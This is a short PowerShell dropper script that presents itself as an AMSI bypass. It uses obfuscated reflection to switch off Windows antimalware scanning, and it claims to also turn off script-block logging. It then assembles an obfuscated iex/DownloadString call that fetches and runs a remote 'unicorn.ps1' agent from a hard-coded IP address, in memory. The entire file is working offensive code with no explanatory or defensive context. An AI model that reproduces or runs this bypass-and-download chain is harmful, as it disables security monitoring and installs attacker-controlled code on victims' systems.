AMSI-Reflection.ps1

#;
# AMSI bypass dropper - download/exec (ram);
# Author: r00t-3xp10it (based on mattifestation);
#;
powershell.exe Write-Host ""; Write-Host "[+] AMSI Reflection Bypass: mattifestation          " -ForeGroundColor yellow -BackGroundColor black; Start-Sleep 2; Write-Host "[+] Disable ScriptBlockLogging on current session .." -ForeGroundColor green -BackGroundColor black; $ScriptBlock = "'Sy?s%t%e??m.Ma%na?geme?nt.Auto?mat?i%o%n.A?msi?U%t%i?ls'"; $UBlock = "'am?s%i%?In?it%F?ai?l%e%d'"; $reg = $ScriptBlock.Replace("?","").Replace("%",""); $off = $UBlock.Replace("?","").Replace("%",""); [ref].Assembly.GetType($reg).GetField($off, 'NonPublic,Static').SetValue($null,$true); Start-Sleep 2; Write-Host "[+] AMSI-Utils bypass completed, downloading agent.." -ForeGroundColor green -BackGroundColor black; $Chiptech=("{2}{1}{0}{3}" -f'bCli','We','Net.','ent'); $a=("{2}{0}{1}" -f'e','x','i'); $Freq=("{3}{0}{1}{2}" -f'load','Str','ing','Down'); Start-Sleep 1; powershell -C "$a (New-Object $Chiptech).$Freq('h'+'t'+'tp'+':/'+'/192.168.1.71/unicorn.ps1')"